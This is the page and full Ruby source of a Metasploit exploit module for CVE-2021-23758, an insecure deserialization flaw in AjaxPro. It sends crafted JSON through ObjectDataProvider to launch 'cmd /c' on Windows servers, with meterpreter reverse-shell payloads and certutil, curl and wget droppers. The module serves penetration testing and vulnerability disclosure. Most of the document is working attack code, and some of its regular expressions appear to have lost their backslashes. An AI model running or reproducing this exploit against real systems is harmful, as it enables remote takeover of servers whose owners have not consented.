Authored by Hans-Martin Munch, Jemmy Wang | Site metasploit.com

This Metasploit module leverages an insecure deserialization of data to get remote code execution on the target OS in the context of the user running the website which utilized AjaxPro. To achieve code execution, the module will construct some JSON data which will be sent to the target. This data will be deserialized by the AjaxPro JsonDeserializer and will trigger the execution of the payload. All AjaxPro versions prior to 21.10.30.1 are vulnerable to this issue, and a vulnerable method which can be used to trigger the deserialization exists in the default AjaxPro namespace. AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom method that accepts a parameter of type that is assignable from ObjectDataProvider (e.g. object) exists, the vulnerability can still be exploited. This module has been tested successfully against official AjaxPro on version 7.7.31.1 without any modification, and on version 21.10.30.1 with a custom vulnerable method added.

advisories | CVE-2021-23758

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'AjaxPro Deserialization Remote Code Execution',
'Description' => %q{
This module leverages an insecure deserialization of data to get
remote code execution on the target OS in the context of the user
running the website which utilized AjaxPro.

To achieve code execution, the module will construct some JSON data
which will be sent to the target. This data will be deserialized by
the AjaxPro JsonDeserializer and will trigger the execution of the
payload.

All AjaxPro versions prior to 21.10.30.1 are vulnerable to this
issue, and a vulnerable method which can be used to trigger the
deserialization exists in the default AjaxPro namespace.

AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom
method that accepts a parameter of type that is assignable from
`ObjectDataProvider` (e.g. `object`) exists, the vulnerability can
still be exploited.

This module has been tested successfully against official AjaxPro on
version 7.7.31.1 without any modification, and on version 21.10.30.1
with a custom vulnerable method added.
},
'Author' => [
'Hans-Martin M√ľnch (MOGWAI LABS)', # Discovery
'Jemmy Wang' # MSF Module
],
'References' => [
['CVE', '2021-23758'],
['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']
],
'DisclosureDate' => '2021-12-03',
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'certutil'
},
'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]
}
],
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),
OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),
OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),
OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])
])

@ajax_pro = { ID: 'AjaxPro' }
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'core.ashx'),
'keep_cookies' => true
)
unless res
return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")
end

unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')
return CheckCode::Safe('Is not AjaxPro?')
end

unless (cap = res.body.match(/ID: ?"(S+?)",/).captures)
return CheckCode::Detected('Failed to get AjaxPro ID.')
end

@ajax_pro[:ID] = cap[0]

unless (cap = res.body.match(/version: ?"(S+?)",/).captures)
return CheckCode::Detected('Failed to get AjaxPro version.')
end

@ajax_pro[:version] = cap[0]

if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')
return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")
end

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
'keep_cookies' => true
)
unless res
return CheckCode::Appears('Failed to check if the target method exists.')
end

unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?((S+?, ?)*#{datastore['Parameter']}(, ?S+?)*) ?{/)
return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")
end

CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
json_post_data = JSON.generate(
{
"#{datastore['Parameter']}": {
__type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
MethodName: 'Start',
ObjectInstance: {
__type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
StartInfo: {
__type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
FileName: 'cmd',
Arguments: "/c #{cmd}"
}
}
}
}
)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
'ctype' => 'text/plain; charset=utf-8',
'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },
'data' => json_post_data
})
unless res
fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")
end

unless res.code == 200
fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")
end
end

def exploit
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager(background: true, delay: 1)
end
end
end